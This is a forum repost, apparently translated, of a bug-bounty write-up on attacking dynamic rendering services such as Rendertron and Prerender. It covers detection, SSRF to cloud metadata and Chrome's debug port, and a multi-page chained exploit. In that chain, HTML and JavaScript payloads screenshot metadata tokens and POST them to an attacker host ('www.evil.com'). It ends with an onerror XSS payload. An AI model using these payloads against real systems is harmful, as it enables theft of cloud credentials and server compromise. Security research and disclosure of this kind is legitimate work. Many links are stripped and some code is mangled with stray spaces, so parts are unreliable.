How to infect a web application

  • Thread Author
This article was written for educational purposes only. We do not call anyone to anything, only for information purposes! The author is not responsible for your actions
Dynamic rendering is becoming very popular because it is a great way to combine JS and SEO, so in this article we will look at how using two tools you can add vulnerabilities to a web application if these utilities are configured incorrectly and try to explain how you can hijack a company's server while doing this. exploiting a web application vulnerability.

JavaScript frameworks are widely used to build websites and web applications - instead of static HTML pages, PWAs (progressive web applications) and SPA (single page applications) are now popular, which make up most of the content in the user's browser. This approach has many advantages, and on the web, it allows you to create a responsive interface, but at the same time, this approach is hostile to SEO, because most search engines and bots do not understand JavaScript and cannot display pages correctly.

Helping bots in this case is to open the requested page in a headless browser on the server side, wait for the page to display, and return the resulting HTML code after clearing it of unnecessary tags. This technique is called "dynamic rendering" and is now being actively promoted by Google as a way to optimize a site for search.

Dynamic rendering is growing in popularity, so it's helpful to understand what can go wrong when used in a production environment.

In my research, I looked at two of the most popular dynamic rendering applications,
You do not have permission to view link Log in or register now.
and
You do not have permission to view link Log in or register now.
. However, the attacks described can be used for other applications of this type as well.

I will also tell you a little about how I was able to apply the knowledge gained while searching for vulnerabilities in Bug Bounty.

Intelligence service
Which pages typically use dynamic rendering? These pages are likely to be publicly available as the purpose of dynamic rendering is to improve their indexability. The content of these pages will be generated using JavaScript and the data on the page will change dynamically. For example, it can be a constantly updated news site or a frequently updated list of popular products in an online store.

You can check if the potential target found is using dynamic rendering by sending multiple requests with different User-Agent header values.

Here is the request that Google Chrome pretends to be:
Code:
curl -v -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36"
You do not have permission to view link Log in or register now.

And here's a request supposedly from a Slack bot:
Code:
curl -v -A "Slackbot-LinkExpanding 1.0 (+
You do not have permission to view link Log in or register now.
)"
You do not have permission to view link Log in or register now.

If the responses from the server differ, and the response to the request from the fake crawler comes in the form of beautiful HTML without tags <script>, this means that the site is using dynamic rendering.

As a test subject, I used
You do not have permission to view link Log in or register now.
for the Polymer framework. He has a
You do not have permission to view link Log in or register now.


dynamic-rendering-curl.jpg

How to infect a web application using dynamic rendering

We can compare requests

Detailed information about the specific User-Agent values that the application responds to can be found in the Rendertron source code (
You do not have permission to view link Log in or register now.
file). In addition, Rendertron always returns the title X-Renderer: Rendertron. Prerender can write in X-Prerender: 1 responses, but this is not the default.

Both frameworks give developers the ability to control response headers using meta tags on the page. This is useful for detecting dynamic rendering.

Example for Prerender:
Code:
<meta name="prerender-status-code" content="302" />
<meta name="prerender-header" content="Location:
You do not have permission to view link Log in or register now.
" />
Example for Rendertron:
Code:
<meta name="render:status_code" content="404" />
Architecture
One of the possible ways to display content suitable for indexing to a search robot works as follows: the request is intercepted, the page is displayed on the server, and the result in the form of HTML with all the necessary content is returned to the bot ...

How to infect a web application using dynamic rendering
  1. The server determines that the request comes from a crawler by the User-Agent header (in some cases, by the URL parameters).
  2. The request is redirected to the application for dynamic rendering.
  3. A dynamic rendering application launches a headless browser and opens the original URL as if it were a normal user.
  4. The resulting HTML is stripped of unnecessary tags <script> and returned to the server.
  5. The server returns the result to the crawler.
SSRF. Light option
The easiest way to get your hands on a dynamic rendering application is to make it available externally. Then you can interact with it directly and send any requests, including requests to the local infrastructure.

Access to local addresses has some restrictions. However, depending on the version of the app, you may want to try to work around them.

Prerender
Prerender doesn't have a frontend, so it's harder to spot. The search is further complicated by the fact that the request for / returns status 400 without interesting headers:

HTTP/1.1 400 Bad Request
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Date: Mon, 03 Aug 2020 06:55:29 GMT

The Prerender API looks like this.
  • GET /:url
  • GET /render?url=:url
  • POST /render?url=:url
List of all the settings can be found in
You do not have permission to view link Log in or register now.
, the main conclusions:
  • Prerender can take screenshots too;
  • followRedirects (default false) allows redirects from one address to another.
The only way to determine the use of Prerender is to send a request to the address /render?url=
You do not have permission to view link Log in or register now.
and check the result. Prerender does not have built-in blocking of requests to cloud APIs, but it allows users to set lists of allowed and blocked URLs, so depending on the settings, there is a possibility that you might get a request like this:
Code:
curl
You do not have permission to view link Log in or register now.

Prerender connects to Chrome through the debug interface, which is always open on port 9222, so if requests to this address are allowed, then there is an option to pull the Chrome ID.
Code:
curl
You do not have permission to view link Log in or register now.

You can now send WebSocket requests directly to Chrome and thus control the built-in browser. For example, open new tabs, send any requests, and read local files (see the
You do not have permission to view link Log in or register now.
protocol documentation for details).

Here I am focusing on trying to sniff the cloud provider API, but it is important to note that if cloud requests are disabled in Rendertron or Prerender, you can still try to send requests to other parts of the infrastructure - for example, for caching or the database.

Rendertron
Rendertron is the easiest to find because it has an interface that allows you to send requests and take screenshots.

dynamic-rendering-rendertron.jpg

Rendertron.

Rendertron:
  • Version 3.1.0 - it is possible to set a list of allowed URLs (but you need to configure them yourself).
  • Version 3.0.0 - there is a blocking of direct requests to Google Cloud, however, it can be bypassed by sending requests through an iFrame, the blocking does not apply to other cloud platforms (AWS, Digital Ocean and others).
  • Older versions of blocking requests to the Google Cloud, but permit requests to the beta version the API (
    You do not have permission to view link Log in or register now.
    ).
  • Version 1.1.1 and young-she - allowed any inquiries.
Rendertron API (from documentation):
  • GET /render/:url - will display and serialize the page;
  • GET /screenshot/:url and POST /screenshot/:url - will take a screenshot of the page.
Additional settings for the headless browser can be passed using a POST request through a JSON object. See the
You do not have permission to view link Log in or register now.
more information. You can also specify the type (JPEG standard) and encoding (binary standard).

So, if you come across a working Rendertron, the first thing to do is to launch an SSRF attack and, for example, get tokens from the cloud in the following way:
Code:
curl
You do not have permission to view link Log in or register now.

Or:
Code:
curl
You do not have permission to view link Log in or register now.

If requests are blocked, there is still a chance to force Headless Chrome to open the iFrame and show a screenshot containing the metadata: send a request to /screenshot and direct Rendertron to the page you control.

Code:
curl
You do not have permission to view link Log in or register now.

The HTML at the URL
You do not have permission to view link Log in or register now.
contains an iFrame that accesses the Google Cloud API, which is only available on the server.

Code:
<html>
<head>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
</head>
<body>
<iframe
src="
You do not have permission to view link Log in or register now.
"
width="468"
height="600"
></iframe>
</body>
</html>
As a result, we get a screenshot with a frame that contains the secret token.

dynamic-rendering-iframe_JcMwpfj.jpg

This bug has been fixed in version
You do not have permission to view link Log in or register now.
.

We attack through infected web applications
Investigating suitable servers (with vulnerability and subject to bug bounty), I simply sent requests to all possible domains with the header User-Agent: Slackbot blabla. Only once did I receive a response titled X-Renderer: Rendertron, but that was enough to earn a promotion.

If the dynamic rendering application is out of sight, but you can determine that the site is using it, there is still a chance of an attack. Any way you can embed your content on the page or redirect the page to where you can manage the content can help with this. The easiest option is to find an open redirect. By the way, many bug bounty programs do not take it for a vulnerability.

If an open redirect is found, then it is easy to launch an attack by simply sending requests:
Code:
curl -A "Slackbot-LinkExpanding 1.0 (+
You do not have permission to view link Log in or register now.
)"
You do not have permission to view link Log in or register now.

curl -A "Slackbot-LinkExpanding 1.0 (+
You do not have permission to view link Log in or register now.
)"
You do not have permission to view link Log in or register now.

You can also redirect to a page containing frames if direct requests are blocked.

How to infect a web application using dynamic rendering

Most of the open redirect cheat lists and tutorials focus on redirects that happen through the server. But since dynamic rendering is used on pages with a lot of complex JavaScript, you are more likely to run into a client-side vulnerability.

Semgrep helped me a lot with this. I've outlined a few patterns of how redirects can occur in JavaScript and have scanned all the code in the pages that belong to my destination. An open redirect was detected within an hour.

Finding XSS or HTML injection looked like a daunting task, so I focused on looking for open redirect. I was lucky and the target I found was vulnerable to it.

Now all that remains is to force the headless browser to redirect and pull the metadata from Google Cloud (the URL has been changed to not disclose information about the private bug bounty).

dynamic-rendering-bounty1.jpg

Bug bounty example.

bug bounty

I was lucky - I came across an outdated version that did not block direct metadata requests. However, if they were blocked, they could still be requested via the iFrame. However, there is one problem: getting the content of this iFrame. This can be done by taking screenshots of the page. The attack scenario is as follows.

Rendertron hack sequence

1. The page that is controlled by the attacker opens in the tab headless-браузера — "Page # 1".

Code:
<html>
<body>
<script type="text/javascript">
fetch(
"
You do not have permission to view link Log in or register now.
"
);
</script>
</body>
</html>
2. This forces the browser to send a request to itself (locally) and show the rendering result with the attacker's web page (“Page # 2”).
You do not have permission to view link Log in or register now.

3. The headless browser opens a URL ("Page # 3"), which again sends a request to the renderer.
You do not have permission to view link Log in or register now.

4-5. The browser opens another page controlled by the attacker -
You do not have permission to view link Log in or register now.
("Page # 4") - with the following code:

Code:
<html>
<body>
<img
id = "hacked"
src = "http: // localhost: 3000 / screenshot / http: //metadata.google.internal/computeMetadata/v1beta1/? width = 800 & height = 800"
width = "800"
height = "800"
/>
<img
src = "x"
onerror = '(n = 0, i = document.getElementById ("hacked"), i.onload = function () {n ++; e = document.createElement ("canvas"); e.width = i.width, e. height = i.height, e.getContext ("2d"). drawImage (i, 0,0); t = e.toDataURL ("image / png"); if (n> 1) {fetch ("http: / /www.evil.com ", {method:" POST ", body: JSON.stringify (t)})}}) () '
/>
</body>
</html>

Full version of JavaScript code that is executed on the onerror event:
var n = 0;
var img = document.getElementById ("hacked"); // <- screenshot with metadata
img.onload = function () {
// When the screenshot has loaded:
n ++;

// Copy the screenshot to the canvas element
var canvasEl = document.createElement ("canvas");
(canvasEl.width = img.width),
(canvasEl.height = img.height),
canvasEl.getContext ("2d"). drawImage (img, 0, 0);

// Get the contents of the screenshot
var imgContent = e.toDataURL ("image / png");
if (n> 1) {
fetch ("http: //www.attackers-website.url", {

// Send the contents of the screenshot to the attacker
method: "POST",
body: JSON.stringify (imgContent),
});
}
};
6-7. The browser takes a screenshot of the page that contains an iFrame with data from the cloud API. For example:
You do not have permission to view link Log in or register now.

8. The browser then sends it to the attacker's host, but both requests will fail due to SOP protection (the image is fetched from localhost, while the current URL is
You do not have permission to view link Log in or register now.
). However, the resulting HTML is returned to the headless browser ("Page # 3").

9-10. The same HTML code is displayed inside the browser tab ("Page # 3"), but this time all requests work because the SOP rules are not violated (the page host is the same as the image - localhost: 3000).

11. The image with the token is sent to the attacker.

The address
You do not have permission to view link Log in or register now.
, which is often used in examples, is deprecated. Google announced that it will soon stop responding and that Rendertron instances running on Google Cloud will no longer give away their tokens so easily. In any case, keep in mind that the methodology and techniques of this study can be applied not only to steal cloud tokens, but also to use SSRF in general.

Tips and Tricks
If it is not possible to exploit SSRF, but there is an open redirect on the page, then you can turn XSS.
As mentioned earlier, dynamic rendering apps strip tags <script> and JavaScript references, but the code inside the attributes remains intact, so will work and result in XSS redirects like this:

Code:
<html>
<body>
<img src="x" onerror="alert(1)" />
</body>
</html>
And no problem with CORS, since the code will be executed at the page URL!

Useful materials
1. The
You do not have permission to view link Log in or register now.

2.
You do not have permission to view link Log in or register now.
You do not have permission to view link Log in or register now.


Outcomes
Since dynamic rendering is a smart way to combine the use of JS and SEO, it is understandable that it will continue to gain in popularity. Given the fact that Google and other companies are promoting this approach, it is important to understand what weaknesses this technology brings with it. It is important to know that even the smallest. security flaws can lead to RCE. If you are a security member, always remember that a headless browser, if configured incorrectly, can bring many vulnerabilities into the entire infrastructure.

cryptoworld.su
 
Top